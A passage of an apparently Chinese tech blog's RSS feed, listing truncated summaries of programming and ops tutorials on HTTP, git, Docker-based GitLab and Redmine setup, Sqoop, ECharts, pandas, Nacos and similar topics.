HTTPS协议作为TCP/IP模型中应用层的协议也不例外。HTTP协议通常承载于TCP协议之上，有时也承载于TLS或SSL 协议层之上，这个时候，就成了我们常说的HTTPS。如下图：http是属于“应用层的协议&#34;,而且是基于TCP/IP协议的。&#xA;3.HTTP协议的特点 • 简单快速：客户向服务器请求服务时，只需传送请求方法和路径。由于HTTP协议简单，使得 HTTP服务器的程序规模小，因而通信速度很快。&#xA;• 灵活：HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。&#xA;• HTTP 0.9和1.0使用非持续连接：限制每次连接只处理一个请求，服务器处理完客户的请求，并收到客户的应答后，即断开连接。HTTP 1.1使用持续连接：不必为每个web对象创建一个新的连 接，一个连接可以传送多个对象，采用这种方式可以节省传输时间。&#xA;• 无状态：HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。&#xA;•支持B/S及C/S模式。&#xA;4.HTTP协议的工作流程&#xA;首先客户机与服务器需要建立连接。只要单击某个超级链接，HTTP的工作开始。建立连接后，客户机发送一个请求给服务器，请求方式的格式为：统一资源标识符（URL）、协议版本号，后边是MIME信息包括请求修饰符、客户机信息和可能的内容。服务器接到请求后，给予相应的响应信息，其格式为一个状态行，包括信息的协议版本号、 一个成功或错误的代码，后边是MIME信息包括服务器信息、实体信息和可能的内容。客户端接收服务器所返回的信息通过浏览器显示在用户的显示屏上，然后客户机与服务器断开连接。 二、HTTP协议 请求方式 根据HTTP标准，HTTP请求可以使用多种请求方法。&#xA;HTTP1. 0定义了三种请求方法： 1.GET GET方法的作用在于获取资源。 2.POST POST方法的主要作用是执行操作。 3.</description>
    </item>
    <item>
      <title>简易的计算器，实现两个数的加减乘除。</title>
      <link>https://bchobby.github.io/posts/8b121c4a2c6ce862e4c3faaf5fc0955d/</link>
      <pubDate>Thu, 20 Jan 2022 16:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b121c4a2c6ce862e4c3faaf5fc0955d/</guid>
      <description>写出四个方法：加减乘除 利用循环+switch进行用户交互 传递需要操作的两个数 输出运行结果 /* 1.写出四个方法：加减乘除 2.利用循环+switch进行用户交互 3.传递需要操作的两个数 4.输出运行结果 */ public static void main(String[] args) { while (true) { Scanner scanner = new Scanner(System.in); System.out.println(&#34;请输入需要求解的式子：&#34;); double a = scanner.nextDouble(); String c = scanner.next(); double b = scanner.nextDouble(); System.out.print(&#34;式子的结果为: &#34;); switch (c) { case &#34;+&#34;: System.out.println(a + &#34;+&#34; + b + &#34;=&#34; + add(a, b)); break; case &#34;-&#34;: System.out.println(a + &#34;-&#34; + b + &#34;=&#34; + sub(a, b)); break; case &#34;</description>
    </item>
    <item>
      <title>c语言学习笔记（9）AT指令时经常用到 -c语言库函数</title>
      <link>https://bchobby.github.io/posts/d85765fc6776db176edcddf42065b8d9/</link>
      <pubDate>Thu, 20 Jan 2022 11:54:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d85765fc6776db176edcddf42065b8d9/</guid>
      <description>1：查找对应的字符串&#xA;char *p_data =null; //找到&#34;+TEST_RXLORA&#34; 这个首地址 p_data = strstr((const char *)re_data, &#34;+TEST_RXLORA&#34;); //查找十进制数值(int *)&amp;amp;lora_rssi[rssi_cnt]) if(sscanf(p_data, &#34;+TEST_RXLORA:%d:&#34;, (int *)&amp;amp;lora_rssi[rssi_cnt])) 2： 字符串转十六进制&#xA;如：“112233” 0x11 0x22 0x33&#xA;static char *mem_strtoehx(const char *in_str, char *out_hex, int len) { int i,j; char ch; const char *p = in_str; for(i = 0, j = 0; i &amp;lt; len; p++, i++) { ch = *p; if (isdigit(ch)) ch -= &#39;0&#39;; else if (isxdigit(ch)) ch -= isupper(ch) ?</description>
    </item>
    <item>
      <title>git 使用一点通 log 日志部分</title>
      <link>https://bchobby.github.io/posts/41f17c09b825fc8d7bcb32f788b801c3/</link>
      <pubDate>Thu, 20 Jan 2022 11:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41f17c09b825fc8d7bcb32f788b801c3/</guid>
      <description>名词解释： origin：远程仓库并默认以 “origin” 为简写 origin 仓库名称&#xA;master：分支名称&#xA;Git 基础 - 查看提交历史&#xA;1 git log git log 有许多选项可以帮助你搜寻你所要找的提交， 下面我们会介绍几个最常用的选项。&#xA;其中一个比较有用的选项是 -p 或 --patch ，它会显示每次提交所引入的差异（按 补丁 的格式输出）。 你也可以限制显示的日志条目数量，例如使用 -2 选项来只显示最近的两次提交：&#xA;$ git log -p -2 想看到每次提交的简略统计信息，可以使用 --stat 选项：&#xA;$ git log --stat 另一个非常有用的选项是 --pretty。 这个选项可以使用不同于默认格式的方式展示提交历史。 这个选项有一些内建的子选项供你使用。 比如 oneline 会将每个提交放在一行显示，在浏览大量的提交时非常有用。 另外还有 short，full 和 fuller 选项，它们展示信息的格式基本一致，但是详尽程度不一：&#xA;$ git log --pretty=oneline 最有意思的是 format ，可以定制记录的显示格式。 这样的输出对后期提取分析格外有用——因为你知道输出的格式不会随着 Git 的更新而发生改变：&#xA;$ git log --pretty=format:&#34;%h - %an, %ar : %s&#34;</description>
    </item>
    <item>
      <title>远程服务器Pycharm报错：can′t get remote credentials for deployment server</title>
      <link>https://bchobby.github.io/posts/41ceec772d9176faeec91f6d07f5d394/</link>
      <pubDate>Thu, 20 Jan 2022 11:31:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41ceec772d9176faeec91f6d07f5d394/</guid>
      <description>在调用远程服务器上的python解释器时，各种网上介绍的配置都已经配好了，但是程序却无法运行，遇到 can’t get remote credentials for deployment server 的错误。试了很多网上的方法，都无法解决我的问题，可能造成这个错误的原因比较多吧。最终通过自己的尝试，解决了自己的问题。记录下来，仅供大家参考。&#xA;首先，选择 File -&amp;gt; Settings -&amp;gt; Project Interpreter ，点击选择解释器的向下箭头，选择 show all, 选中所使用的远程python解释器，点击右边的编辑按钮，如下图所示&#xA;可看到现在默认选择的是Deployment configuration, 将其修改为SSH Credential,填写相关设置后，点OK保存。然后程序就可以正常运行了。&#xA;造成这个错误的原因好像有很多，在其他方法不行的时候，可以试试这个办法。&#xA;参考文献 [1]参考</description>
    </item>
    <item>
      <title>Git中拉取Vue代码到本地启动报错No PostCSS Config found in</title>
      <link>https://bchobby.github.io/posts/3338c727a74bf8cee5f7f39c82f7ed93/</link>
      <pubDate>Thu, 20 Jan 2022 10:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3338c727a74bf8cee5f7f39c82f7ed93/</guid>
      <description>解决方法： 在项目根目录下新建 postcss.config.js 文件，内容如下： module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } 重新运行 npm run dev ，发现项目已成功跑起来。</description>
    </item>
    <item>
      <title>如何在 Ubuntu 20.04 上安装 Nginx</title>
      <link>https://bchobby.github.io/posts/88c648ca6556a6c825b93d7c42875f01/</link>
      <pubDate>Thu, 20 Jan 2022 10:05:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88c648ca6556a6c825b93d7c42875f01/</guid>
      <description>如何在 Ubuntu 20.04 上安装 Nginx - ITCoder</description>
    </item>
    <item>
      <title>C&#43;&#43;for循环——逢七过</title>
      <link>https://bchobby.github.io/posts/5258e625c66f4eaaf478f39fc4b3903b/</link>
      <pubDate>Wed, 19 Jan 2022 20:57:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5258e625c66f4eaaf478f39fc4b3903b/</guid>
      <description>用for循环实现逢七过 逢七过游戏：依次输出1~100直接的数，当数的个位或十位包含7、该数能整除7时输出“过”。&#xA;解题步骤：&#xA;首先借助循环找到1~100之间的数；&#xA;其次找到“过”的条件：&#xA;1：该数的个位或十位包含7&#xA;（对该数取模于10可以找到该数的个位；&#xA;对该数除10可以找到该数的十位。）&#xA;2：该数能整除7&#xA;（对该数取模于7等于0可以判断该数能整除7）&#xA;最后依次输出&#xA;总代码：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main() { for (int i = 1; i &amp;lt;= 100; i++) { //7的整数倍；包含7都“过” if (i % 7 == 0 || i % 10 == 7 || i / 10 == 7) { cout &amp;lt;&amp;lt; &#34;过 &#34;; } else{ cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt;&#34; &#34;; } //每输出5个数进行换行 if (i % 5 == 0) { cout &amp;lt;&amp;lt;&#39;\t&#39;&amp;lt;&amp;lt; endl; } } system(&#34;</description>
    </item>
    <item>
      <title>小型企业网络设计与规划</title>
      <link>https://bchobby.github.io/posts/e010750dc4cb523e2c2b7434c5aaf08f/</link>
      <pubDate>Wed, 19 Jan 2022 20:25:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e010750dc4cb523e2c2b7434c5aaf08f/</guid>
      <description>《计算机网络》课程设计报告&#xA;1 前言 随着现代科学技术和互联网的迅猛发展,以计算机和通讯技术为基础的管理系统正处于高速发展的时期。同时，伴随着经济文化水平的显著提高，人们对生活质量的要求也在不断提升，对工作的环境以及要求也日益提高。一个园区内进行办公的人们之间需要相互的通信，同时在相互通信的过程中又能确保信息通畅与保密，于是对此园区的一个网络规划与设计应运而生。&#xA;本课题简要地讨论了企业网络规划设计中涉及到的网络技术、规划设计方法、等问题﹐为企业网络的规划、设计和升级改造等方面在技术及应用上提供参考，以使在建或规划中的园区网络具备较高的整体性能。通过eNSP模拟企业园区网中的接入交换机、汇聚交换机等网络设备,并在网络设备上采用VLAN虚拟局域网、MSTP多生成树协议、[1] LACP链路聚合和VLAN聚合等多种协议配置,使构建的网络不仅具有较高的通信可靠性,并且能够满足企业的多业务需求，时也要实现高利用率高可靠性，从一些闲置的设备中提高资源的利用率，不同的流量在不同的链路上传输，链路得到充分利用，实现[3] 流量的负载分担。&#xA;通过对园区网络的分析，从性能和价值上满足园区网络的需求﹐然后对企业园区网络进行划分vlan、设置管理域等配置，不断的优化企业的网络，从而达到企业安全、快速访问网络资源的目的。&#xA;2 园区网项目背景和需求分析 2.1项目背景 某公司因业务发展需要，在园区A申请了一栋楼作为公司总部，准备创建一张全新的园区网络，考虑到公司可持续发展，决定也在建立园区B建立分部，公司园区A总部设有研发部、市场部、行政部、信息中心、网络管理组和访客接待中心。而访客接待中心提供Wi-Fi服务供访客使用。公司园区B分部，设有销售部。为方便公司开展业务，需要自动获取公司DNS服务器IP地址。公司已经申请了一条互联网专线并配有一个公网IP，希望所有员工都能访问Internet。后期规划所有设备可由网络管理员进行远程管理。建立IPV4与IPV6的双栈网络。&#xA;2.2项目需求分析 1.总部园区A和园区B要求网络拓扑简单，维护方便，网络具有扩展性和冗余性。&#xA;2.总部园区A提供有线接入供员工办公使用，分别为市场部、研发部、行政部、信息中心、网络管理组。而访客接待中心提供Wi-Fi服务供访客使用，做到简单的网络流量管理，提供一定的安全性&#xA;3.园区A和园区B为方便员工获取DNS服务器IP地址，可以采用DHCP方式为该局域网自动分配IP及DNS地址。&#xA;4.园区A要求核心交换机具有冗余性，高可靠性，扩展性。配置资源服务器。&#xA;5.公司有两个公网IP，园区A和园区B各部门所有员工都有访问Internet的需求，可以在出口路由器上配置网络地址转换。&#xA;6.为方便网络管理员对设备进行远程管理，需要启用所有设备的SSH服务。&#xA;7.为了公司发展园区A和园区B之间还需要采用IPV4和IPV6的双栈技术。&#xA;8.园区A和园区B之间的IPV4通信采用VPN的方案。&#xA;3 项目设计规划 3.1 项目设计方案 3.1.1 公司内网设计 采用三层结构组网，接入层，核心层，出口层。[4].使用MSTP+VRRP实现网关冗余，流量的负载均衡。[5].开启DHCP功能，DHCP也做成冗余备份，防止单台设备故障，造成DHCP故障，提高网络的可靠性。核心层之间的交换机配置链路聚合，实现链路的冗余性。VRRP6和DHCPV6同理做成以上配置需求。将这些服务都放在三层核心交换机，这样可以减轻出口路由器的负担，因为出口路由器将要承载大量的路由。在三层核心交换机上，旁挂资源服务器，方便公司方员工访问和上传公司的内部资源；旁挂无线AC控制器，方便网络管理员维护无线网络，也为公司的后续发展提供扩展性。内网IPV4网络使用OSPFV2协议，联通内网，IPV6网络使用OSPFV3协议联通内网；[6].NAT出口网关设置，使用静态路由，用 Easy IP 直接使用接口的公网地址作为私网转换后访问公网的地址，不需要配置 NAT 地址池。分部园区B也是采用相同的组网方式。&#xA;3.1.2 园区A和园区B之间通信设计 由于运营商网络没有IPV6网络，因此园区A和园区B均采用了IPV4和IPV6的双栈设计，IPV4之间的通信配置为GRE over IPsec VPN；IPV6之间的通信设计为IPv6 over IPv4 GRE隧道。&#xA;3.1.3 项目拓扑设计 图3-1 网络拓扑图&#xA;3.2 子网划分及IP地址 3.2.1 子网划分 园区A：&#xA;设备名称&#xA;端口&#xA;链路类型&#xA;VLAN参数&#xA;LSW1&#xA;GE0/0/1&#xA;Trunk&#xA;Allow pass: 11 to 16&#xA;GE0/0/2&#xA;Trunk&#xA;Allow pass: 11 to 16</description>
    </item>
    <item>
      <title>Hadoop高手之路--08--Sqoop数据迁移</title>
      <link>https://bchobby.github.io/posts/7a17ec345c20bf5cb6800bd4c903c300/</link>
      <pubDate>Wed, 19 Jan 2022 15:50:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a17ec345c20bf5cb6800bd4c903c300/</guid>
      <description>Sqoop数据迁移 一、sqoop概述 1、简介 Sqoop是Apache的一款开源工具，Sqoop主要用于在Hadoop和关系数据库或大型机之间传输数据，可以使用Sqoop工具将数据从关系数据库管理系统导入（import）到Hadoop分布式文件系统中，或者将Hadoop中的数据转换导出（export）到关系数据库管理系统。&#xA;2、原理 二、sqoop的安装配置 1、下载 2、上传服务器 3、解压 4、配置 标准的apach项目文件&#xA;将模板配置文件拷贝一份&#xA;cp sqoop-env-template.sh sqoop-env.sh 修改配置文件&#xA;5.测试 bin/sqoop list-databases \ -connect jdbc:mysql://localhost:3306/ \ --username root \ --password root \ 出现错误,无驱动包&#xA;6、解决错误 需要上传MySQL的java驱动包&#xA;7、再次执行命令 bin/sqoop list-databases \ -connect jdbc:mysql://hadoop01:3306/ \ --username root \ --password Root123! \ 三、sqoop指令介绍 四、数据的导入 1、导入命令 bin/sqoop import \ -connect jdbc:mysql://hadoop01:3306/azkaban \ --username root \ --password Root123! \ --target-dir /azkaban/execution_logs \ --table execution_logs \ --num-mappers 1 2.启动hadoop 3.</description>
    </item>
    <item>
      <title>CICD之 gitlab和gtilab runner</title>
      <link>https://bchobby.github.io/posts/d5d409e7afbb789b210c5cfe194d19d5/</link>
      <pubDate>Wed, 19 Jan 2022 14:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5d409e7afbb789b210c5cfe194d19d5/</guid>
      <description>gitlab官网地址&#xA;官网文档地址 https://docs.gitlab.com/runner/install/docker.html&#xA;一。gitlab 1。gitlab安装 方式一：rpm包安装（centos） 1,下载rpm包 清华源软件镜像站https://mirrors.tuna.tsinghua.edu.cn/ linux命令wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ee/yum/el7/gitlab-ee-12.9.0-ee.0.el7.x86_64.rpm --no-check-certificate 或者windows电脑访问软件直接下载rpm包然后上传linux 2.运行rmp包 rpm -ivh gitlab-ce-12.9.0-ce.0.e17.x86_64.rpm 3.修改项目仓库存储地址 vim /etc/gitlab/gitlab.rb，搜索git_data_dirs，修改项目存储路径 gitlab-ctl reconfigure，使生效 4。启动 gitlab-ctl start //启动 gitlab-ctl status //查看状态 gitlab-ctl stop //停止 方式二：docker安装 1.gitlab文件夹下创建三个文件夹作为映射文件夹(容器卷) :config logs data 2,拉取镜像:docker pull gitlab/gitlab-ce 3.运行镜像 docker run -d --hostname 192.168.61.146 //有hostname，不然后面创建项目的克隆地址是随机的 -p 443:443 -p 80:80 -p 222:22 --name gitlab-ce --restart always -v /home/piaoransheng/gitlab/config:/etc/gitlab -v /home/piaoransheng/gitlab/logs:/var/log/gitlab -v /home/piaoransheng/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce 4.修改项目仓库存储地址 vim /etc/gitlab/gitlab.rb，搜索git_data_dirs，修改项目存储路径 gitlab-ctl reconfigure，使生效 5.启动 docker start gitlab-ce //启动 docker stop gitlab-ce //停止下· docker rm gitlab-ce //删除 6.</description>
    </item>
    <item>
      <title>Docker -- redmine项目管理工具（Redmine 是一个开源的, 基于Web的项目管理和缺陷跟踪工具. 它用日历和甘特图辅助项目及进度可视化显示. 同时它又支持多项目管理）</title>
      <link>https://bchobby.github.io/posts/55d8a261ee4c827754469438446452a5/</link>
      <pubDate>Wed, 19 Jan 2022 11:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55d8a261ee4c827754469438446452a5/</guid>
      <description>一、redmine项目管理工具 Redmine 是一个开源的, 基于Web的项目管理和缺陷跟踪工具. 它用日历和甘特图辅助项目及进度可视化显示. 同时它又支持多项目管理. Redmine是一个自由开放源码软件解决方案,它提供集成的项目管理功能, 问题跟踪,并为多个版本控制选项的支持. Redmine是一个有用的Scrum和敏捷的选择. 由于Redmine的设计受到Trac的较大影响,所以它们的软件包有很多相似的特征. Redmine建立在Ruby on Rails的框架之上, 他可以跨平台和数据库 。 二、Redmine安装 docker run -itd --hostname &#34;jn-mysql&#34; -p 10003:3306 \ --name &#34;mysql&#34; \ -v /root/docker_vol/mysql/data:/var/lib/mysql \ -v /root/docker_vol/mysql/conf:/etc/mysql/conf.d \ -v /etc/localtime:/etc/localtime:ro \ -e MYSQL_ROOT_PASSWORD=P@ssword \ -e TZ=Asia/Shanghai \ mysql docker run -itd --hostname &#34;jn-redmine&#34; -p 10006:3000 \ --name &#34;redmine&#34; \ -e REDMINE_DB_MYSQL=jn_mysql \ -e REDMINE_DB_USERNAME=redmine \ -e REDMINE_DB_PASSWORD=redmine \ -e REDMINE_SECRET_KEY_BASE=supersecretkey \ --link=mysql:jn_mysql \ -v /root/docker_vol/redmine/files:/usr/src/redmine/files \ -v /root/docker_vol/redmine/log:/usr/src/redmine/log \ -v /root/docker_vol/redmine/data:/home/redmine/data \ -v /root/docker_vol/redmine/plugins:/usr/src/redmine/plugins \ -v /root/docker_vol/redmine/config/configuration.</description>
    </item>
    <item>
      <title>echarts中dataZoom来控制默认显示固定条数数据（可自定义）</title>
      <link>https://bchobby.github.io/posts/cd094524b01d8913500a5a5a7fb96916/</link>
      <pubDate>Wed, 19 Jan 2022 09:37:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd094524b01d8913500a5a5a7fb96916/</guid>
      <description>先说需求，在开产品需求会时，让echarts的柱状图和折线图默认显示6条数据，其它的通过剩余拉动显示 将剩余的通过两边按钮拖动显示 局部代码 // 想显示成几条那么就把6改成几就可以了，resultarr是横坐标的长度(倒序排列) let resultarr = [] var start = resultarr.length - 6 var end = resultarr.length - 1 dataZoom: [ { show: true, type: &#39;slider&#39;, handleSize: 32, // 两边的按钮大小 startValue: start, // 重点在这 -- 开始的值 endValue: end // 重点在这 -- 结束的值 }, { // zoomLock: true, // 这个开启之后只能通过鼠标左右拉动，不能滚动显示 type: &#39;inside&#39; } ], 全部代码 var option = { title: { left: &#39;center&#39;, text: data.title // 标题 }, tooltip: { trigger: &#39;axis&#39;, axisPointer: { type: &#39;shadow&#39; } }, dataZoom: [ { show: true, type: &#39;slider&#39;, handleSize: 32, // 两边的按钮大小 startValue: start, // 重点在这 -- 开始的值 endValue: end // 重点在这 -- 结束的值 }, { // zoomLock: true, // 这个开启之后只能通过鼠标左右拉动，不能滚动显示 type: &#39;inside&#39; } ], legend: { right: &#39;8%&#39; }, grid: { // 显示的容器 left: &#39;3%&#39;, right: &#39;4%&#39;, bottom: &#39;6%&#39;, containLabel: true }, xAxis: { name: &#39;物流商&#39;, type: &#39;category&#39;, offset: 7, data: resultarr // x轴要显示的内容-----就是这儿要根据显示的长度来自定义 // data: data.</description>
    </item>
    <item>
      <title>IDEA坑爹的编译问题</title>
      <link>https://bchobby.github.io/posts/50c1e57fdb9aaac7ff8a7bcadf43f7d9/</link>
      <pubDate>Tue, 18 Jan 2022 22:24:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50c1e57fdb9aaac7ff8a7bcadf43f7d9/</guid>
      <description>Maven的本地命令行mvn clean install可以编译过去，但是IDEA的编译是各种编译不过去的问题&#xA;检查了以IDEA的MAVEN默认设置，并不是指向本地的MAVEN仓库，而是自己的默认值。</description>
    </item>
    <item>
      <title>idea git log 面板</title>
      <link>https://bchobby.github.io/posts/bdf10b2135b22ae62700687fcc5954e5/</link>
      <pubDate>Tue, 18 Jan 2022 17:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdf10b2135b22ae62700687fcc5954e5/</guid>
      <description>git log 面板 解释 cherry pick 参考这里&#xA;reset current branch to here 情形1：提交了多次错误的提交，想回滚到之前的某次提交。 情形2：合并了错误的分支，想回滚到合并之前。 状态： 修改前，修改后 add 前（蓝色），add 后（蓝色） soft 恢复到 add后，文件为蓝色，git status 显示文件都是绿色。 mixed 恢复到 修改后add前，文件蓝色，git status 显示红色 hard 恢复到修改前，git status 什么都不显示，暂存区被清空 --merge --keep 这两个选项的效果是保留修改的差异部分。 如果回退的内容与保留的修改存在冲突(有相同文件)则命令会失败.。 git reset --merge 保留 工作区和index之间的差异。 git reset --keep 保留工作区和HEAD之间的差异。 revert commit 同样是回滚到所选提交记录，但是会产生一个 commit，将所选 commit 的修改改到修改之前的状态&#xA;参考 idea如何使用【Revert Commit】&#xA;undo commit 恢复到 commit 之前的 暂存区，修改的文件已经 add 了&#xA;edit commit message 可以修改自己 commit的 message</description>
    </item>
    <item>
      <title>Quartus II下载器件库</title>
      <link>https://bchobby.github.io/posts/5f7f650dc1375ee94d86fdef55d817f9/</link>
      <pubDate>Tue, 18 Jan 2022 14:51:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f7f650dc1375ee94d86fdef55d817f9/</guid>
      <description>Quartus II下载器件库 1、在浏览器中输入网址 https://fpgasoftware.intel.com/18.1/?edition=standard&amp;amp;platform=windows，&#xA;或https://fpgasoftware.intel.com/&#xA;进入如下图所示界面。&#xA;2、在版本类型和版本中输入Quartus II所对应的版本&#xA;3、输入完版本后，界面下方会出现对应的器件库，选择自己想要下载的器件库，点击后面的下载按钮，这里以下载“Arria II device support”为例。&#xA;4、点击“I Agree”&#xA;5、进入下图所示界面，点击“Sign In”（没有注册的要先注册）。&#xA;6、进入新界面后，重新选择版本类型和版本，并点击要下载的器件库，则开始下载。&#xA;7、可以在Quartus II安装目录下新建文件夹用来存放下载的器件库。&#xA;8、打开Device Installer来安装器件库&#xA;9、点击“Next”&#xA;10、选择存放器件库的路径，然后点击“Next”&#xA;11、勾选要安装的器件库，然后点击“Next”&#xA;12、点击“Next”&#xA;13、等待安装完成&#xA;14、安装完成，点击“Finish”&#xA;15、重启Quartus II软件，在Device里就能看见所安装的器件了。</description>
    </item>
    <item>
      <title>【论文阅读】Recurrent Neural Network Regularization</title>
      <link>https://bchobby.github.io/posts/ca2fb83a92971285533dfb893f0f972c/</link>
      <pubDate>Tue, 18 Jan 2022 12:03:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca2fb83a92971285533dfb893f0f972c/</guid>
      <description>本来是打算搜搜RNN或者LSTM的原文，结果arxiv上没搜到（求求，帮帮），然后就搜到知乎上一个回答：&#xA;心想完蛋，年份跨度比较远的论文读起来会不会很费劲啊。结果搜到LSTM的原论文了（论文链接：https://www.bioinf.jku.at/publications/older/2604.pdf），一看，30页还有好多看不懂的公式与图，就突发感慨：啊，有些知识还是看看二创的比较好，LSTM这种还是果断放弃吧，之后有时间找找比较好的博客之类的看，http://colah.github.io/posts/2015-08-Understanding-LSTMs/这个感觉就不错。&#xA;废话说多了。今天看的这个是《Recurrent Neural Network Regularization》，加上参考文献一共就8页，讲的是RNN及其变体怎么进行正则化以防止过拟合的方法。&#xA;论文地址：[1409.2329v5] Recurrent Neural Network Regularization (arxiv.org)&#xA;以下是正文：&#xA;这篇文章的主旨是：dropout最好只用在从当前时间步的输入到输出的连接上，而不应用在递归连接上（即与隐藏状态或者历史信息相关的计算）。&#xA;然后，恭喜你已经看完了整个文章。&#xA;引言 正则化最常用的一种方法是dropout，但是RNNs却不怎么适合应用dropout（可能是实验的结果），也是因此，RNNs只能使用小网络以避免过拟合，这很大程度上限制了RNN的能力。&#xA;这篇文章就是讲作者如何改造应用dropout的方式以帮助RNN从dropout中受益。&#xA;相关工作 这一节，作者引用了很多相关的工作的文献，很不巧，我一个都没看过。&#xA;关于为什么RNN不适合用dropout，有一个文献提到，RNN不适合dropout的原因是因为递归过程会放大噪声。&#xA;其他的文献就一点都不懂啦&#xA;正则化LSTM 作者首先贴心地带着我复习了一下RNN和LSTM的基础知识，之后开门见山地讲这篇文章的主要思想：dropout只应用在非递归连接上，用图展示就是：&#xA;虚线是应用dropout的连接，实线是不应用dropout的连接。作者下面给出的公式表明，dropout进行mask的对象是每一层的输入向量（有的论文里进行mask的对象是权值矩阵）：&#xA;为什么这样呢？我理解作者的意思是：这样做，dropout引入的不确定性不会伤害到整个网络记住过去信息的能力，即关于记忆的部分不会被引入的不确定性影响。换句话说，可以看到，每一个过往的输入与当前的输出的连接都经过了L+1次dropout（L是层数），这个次数是固定的，且不随时间差的改变而改变。而标准的dropout扰乱了递归连接，使得LSTM更难学习存储长期信息。&#xA;实验 作者在四种领域里进行实验：language modeling、speech recognition、machine translation、image caption generation。结果的数据就不多赘述了，不过我对作者进行的实验有一些怀疑，因为作者设置的大LSTM与小LSTM的差别只是每一层的单元数不同，但是我想，正常的第一反应不应该是增加层数吗，毕竟相比更宽，更深才是深度学习的主流趋势吧。而且作者进行对比的实验的其他参数设置等没有做到对照实验要求的一致，不太明白为什么。&#xA;不过我看作者实验过程提到一句，大概意思是第一个minibatch的初始隐藏状态被初始化为0，此后的minibatch的初始隐藏状态都以上一个minibatch的最后一步的隐藏状态作为初始化。我没想过还能这样玩，学到了，以后可以试试。&#xA;总结 哦瓦力马苏，不写啦。&#xA;没啥不懂的地方，这篇文章读得特别顺，45分钟就读完了。&#xA;感谢作者！</description>
    </item>
    <item>
      <title>Pandas中loc和iloc函数用法详解（源码&#43;实例）</title>
      <link>https://bchobby.github.io/posts/08520751fc6e411a73628c38ced0d966/</link>
      <pubDate>Tue, 18 Jan 2022 11:42:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08520751fc6e411a73628c38ced0d966/</guid>
      <description>oc函数：通过行索引 &#34;Index&#34; 中的具体值来取行数据（如取&#34;Index&#34;为&#34;A&#34;的行）&#xA;iloc函数：通过行号来取行数据（如取第二行的数据）&#xA;本文给出loc、iloc常见的五种用法，并附上详细代码。&#xA;1.利用loc、iloc提取行数据 import numpy as np import pandas as pd #创建一个Dataframe data=pd.DataFrame(np.arange(16).reshape(4,4),index=list(&#39;abcd&#39;),columns=list(&#39;ABCD&#39;)) In[1]: data Out[1]: A B C D a 0 1 2 3 b 4 5 6 7 c 8 9 10 11 d 12 13 14 15 #取索引为&#39;a&#39;的行 In[2]: data.loc[&#39;a&#39;] Out[2]: A 0 B 1 C 2 D 3 #取第一行数据，索引为&#39;a&#39;的行就是第一行，所以结果相同 In[3]: data.iloc[0] Out[3]: A 0 B 1 C 2 D 3 2. 利用loc、iloc提取列数据 In[4]:data.</description>
    </item>
    <item>
      <title>springcloud 整合alibaba nacos步骤快速上手教学</title>
      <link>https://bchobby.github.io/posts/9c58892c6807530006b8cf0e546f131d/</link>
      <pubDate>Tue, 18 Jan 2022 10:20:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c58892c6807530006b8cf0e546f131d/</guid>
      <description>springcloud 整合alibaba nacos （一、nacos注册中心）&#xA;1.导入nacos-discover依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 在导入依赖的时候最好注明其版本号，以防止maven无法下载&#xA;注：springcloud在&amp;lt;spring-cloud.version&amp;gt;2021.0.0&amp;lt;/spring-cloud.version&amp;gt;该版本时不支持nacos自带的负载均衡器ribbon，需要在nacos中祛除ribbon依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-ribbon&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; 2.启动nacos服务&#xA;3.配置application.yml&#xA;spring: cloud: nacos: discovery: server-addr: 127.0.0.1:8848 注：127.0.0.1：8848是nacos服务的地址，只填这个就行&#xA;application: name: 自己命名一个服务名 不命名的话在nacos里找不到 4.启动项目，记得要添加注解&#xA;@EnableDiscoveryClient 5.输入nacos地址 http://127.0.0.1:8848/nacos 即可在服务列表里看到咱们注册的服务了&#xA;（二、nacos配置中心）&#xA;1.添加nacos-config依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-config&amp;lt;/artifactId&amp;gt; 